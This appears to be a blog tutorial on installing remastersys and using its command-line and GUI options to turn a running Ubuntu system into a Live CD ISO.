Taken From: Linux Journal, nº 168 April 2008 - PXE Magic: Flexible Network Booting with Menus, by Kyle Rankin

Live CD From Your In Installation / Running System - Ubuntu - Easy Way

In the previous posts I have shown howto remaster an Ubuntu LiveCd, which could also be used to make a LiveCd from your running system with some minor modifications, but the method I will be showing is fully automatic and effortless, and it works i tested it under ubuntu 8.04 and worked like a charm.

You can also use this, to customize an Ubuntu LiveCd if you install it on your hard drive and them use this method.


First off all you have to get remastersys:

$ wget http://www.mirrorservice.org/sites/download.sourceforge.net/pub/sourceforge/r/re/remastersys/remastersys_2.0-5_all.deb

$ sudo dpkg -i remastersys_2.0-5_all.deb


Now you just have to use remastersys either in the "Bash Shell" or via its "Gui":


-----------
Bash Sell
-----------

You have basically you have three options:


backup - backs up your system including your /home folder with
your users on it.

dist - omits the /home folder thus making it a distributable cd
that you can give to your friends.

clean - removes the temporary folder that was created, including the
new iso so burn it and copy it elsewhere before you run
"sudo remastersys clean"



If you want to make a LiveCd you choices are either 'backup' or 'dist', I'm going for 'dist':

$ sudo remastersys dist

Now the process starts and you have to do is wait, be sure have enough space in your system because remastersys is going to make /home/remastersys dir and work there.

When it all ends, you have an iso off your LiveCd, that you can burn with K3B or other, at:

/home/remastersys/remastersys/customdist.iso

Now burn it or move it and clean all the temp files remastersys created under /home/remastersys, using the following command:

$ sudo remastersys clean



-----------
Gui
-----------

To run the remastersys gui, which is very basic, just type:

$ sudo remastersys-gui

The gui presents you, with the following options:

Back Complete System including User Data
Make a Distributable copy to share with friends
Modify the remastersys config file to customize options
Remove temporary files
About Remastersys Backup
Quit Remastersys Backup

If you want to make a LiveCd you choices are either 'Back Complete System including User Data' (backup) or 'Make a Distributable copy to share with friends' (dist), I'm going for 'Make a Distributable copy to share with friends'.

Now the process starts and you have to do is wait, be sure have enough space in your system because remastersys is going to make /home/remastersys dir and work there.

When it all ends, you have an iso off your LiveCd, that you can burn with K3B or other, at:

/home/remastersys/remastersys/customdist.iso

Now burn it or move it and clean all the temp files remastersys created under /home/remastersys, execute the remastersys gui once again:

$ sudo remastersys-gui

and chose:

Remove temporary files



Happy LiveCD Making.